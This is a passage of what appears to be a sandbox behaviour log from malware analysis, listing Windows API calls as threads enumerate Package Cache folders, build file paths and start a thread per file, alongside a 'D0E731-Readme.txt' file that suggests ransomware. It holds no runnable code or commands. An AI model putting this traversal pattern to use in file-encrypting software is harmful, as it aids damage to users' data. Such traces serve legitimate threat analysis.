Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" [0076.560] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\d0e731-readme.txt")) returned 0x20 [0076.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e32f0) returned 1 [0076.560] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434ea8) returned 1 [0076.560] RtlExitUserThread (Status=0x1) Thread: id = 818 os_tid = 0x1150 [0076.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3429558 [0076.561] wcscpy (in: _Dest=0x3429558, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0076.561] wcscat (in: _Dest=0x3429558, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0076.561] wcscat (in: _Dest=0x3429558, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*" [0076.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4d20 [0076.561] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e03d8 [0076.562] wcscmp (_String1=".", _String2=".") returned 0 [0076.562] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.562] wcscmp (_String1="..", _String2=".") returned 1 [0076.562] wcscmp (_String1="..", _String2="..") returned 0 [0076.562] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.562] wcscmp (_String1="packages", _String2=".") returned 1 [0076.562] wcscmp (_String1="packages", _String2="..") returned 1 [0076.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3430f80 [0076.562] wcscpy (in: _Dest=0x3430f80, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0076.562] wcscat (in: _Dest=0x3430f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0076.562] wcscat (in: _Dest=0x3430f80, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0076.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0076.594] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0076.594] FindClose (in: hFindFile=0x33e03d8 | out: hFindFile=0x33e03d8) returned 1 [0076.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4d20) returned 1 [0076.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429558) returned 1 [0076.594] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce7c8) returned 1 [0076.594] RtlExitUserThread (Status=0x0) Thread: id = 819 os_tid = 0x1158 [0076.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eab90 [0076.563] wcscpy (in: _Dest=0x33eab90, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0076.563] wcscat (in: _Dest=0x33eab90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0076.563] wcscat (in: _Dest=0x33eab90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" [0076.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2b70 [0076.563] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0418 [0076.563] wcscmp (_String1=".", _String2=".") returned 0 [0076.564] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.564] wcscmp (_String1="..", _String2=".") returned 1 [0076.564] wcscmp (_String1="..", _String2="..") returned 0 [0076.564] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x354d9570, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0076.564] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0076.564] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0076.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f0d80 [0076.564] wcscpy (in: _Dest=0x33f0d80, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0076.564] wcscat (in: _Dest=0x33f0d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0076.564] wcscat (in: _Dest=0x33f0d80, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0076.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f0d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0076.591] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0076.591] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1 [0076.591] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1 [0076.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x34311c0 [0076.591] wcscpy (in: _Dest=0x34311c0, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0076.591] wcscat (in: _Dest=0x34311c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0076.591] wcscat (in: _Dest=0x34311c0, _Source="vcredist_x86.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" [0076.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34311c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0076.592] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0076.592] FindClose (in: hFindFile=0x33e0418 | out: hFindFile=0x33e0418) returned 1 [0076.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2b70) returned 1 [0076.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eab90) returned 1 [0076.593] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c030) returned 1 [0076.593] RtlExitUserThread (Status=0x0) Thread: id = 820 os_tid = 0x1174 [0076.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x3429610 [0076.564] wcscpy (in: _Dest=0x3429610, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0076.564] wcscat (in: _Dest=0x3429610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0076.564] wcscat (in: _Dest=0x3429610, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0076.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2dd8 [0076.564] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0458 [0076.565] wcscmp (_String1=".", _String2=".") returned 0 [0076.565] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.565] wcscmp (_String1="..", _String2=".") returned 1 [0076.565] wcscmp (_String1="..", _String2="..") returned 0 [0076.565] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.565] wcscmp (_String1="packages", _String2=".") returned 1 [0076.565] wcscmp (_String1="packages", _String2="..") returned 1 [0076.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3431040 [0076.565] wcscpy (in: _Dest=0x3431040, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0076.565] wcscat (in: _Dest=0x3431040, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0076.566] wcscat (in: _Dest=0x3431040, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0076.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08 [0076.590] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0076.590] FindClose (in: hFindFile=0x33e0458 | out: hFindFile=0x33e0458) returned 1 [0076.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2dd8) returned 1 [0076.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429610) returned 1 [0076.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf9a8) returned 1 [0076.590] RtlExitUserThread (Status=0x0) Thread: id = 821 os_tid = 0x117c [0076.566] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eacd0 [0076.566] wcscpy (in: _Dest=0x33eacd0, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0076.566] wcscat (in: _Dest=0x33eacd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0076.566] wcscat (in: _Dest=0x33eacd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0076.566] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3040 [0076.566] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0498 [0076.567] wcscmp (_String1=".", _String2=".") returned 0 [0076.567] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.567] wcscmp (_String1="..", _String2=".") returned 1 [0076.567] wcscmp (_String1="..", _String2="..") returned 0 [0076.567] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3639a1f2, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0076.567] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0076.567] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0076.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f0e30 [0076.567] wcscpy (in: _Dest=0x33f0e30, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0076.567] wcscat (in: _Dest=0x33f0e30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0076.567] wcscat (in: _Dest=0x33f0e30, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0076.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f0e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0076.587] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0076.587] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1 [0076.587] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1 [0076.587] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x3431100 [0076.587] wcscpy (in: _Dest=0x3431100, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0076.587] wcscat (in: _Dest=0x3431100, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0076.587] wcscat (in: _Dest=0x3431100, _Source="vcredist_x64.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" [0076.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0076.588] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0076.588] FindClose (in: hFindFile=0x33e0498 | out: hFindFile=0x33e0498) returned 1 [0076.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3040) returned 1 [0076.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eacd0) returned 1 [0076.588] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bd38) returned 1 [0076.588] RtlExitUserThread (Status=0x0) Thread: id = 822 os_tid = 0x1180 [0076.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429838 [0076.568] wcscpy (in: _Dest=0x3429838, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0076.568] wcscat (in: _Dest=0x3429838, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package 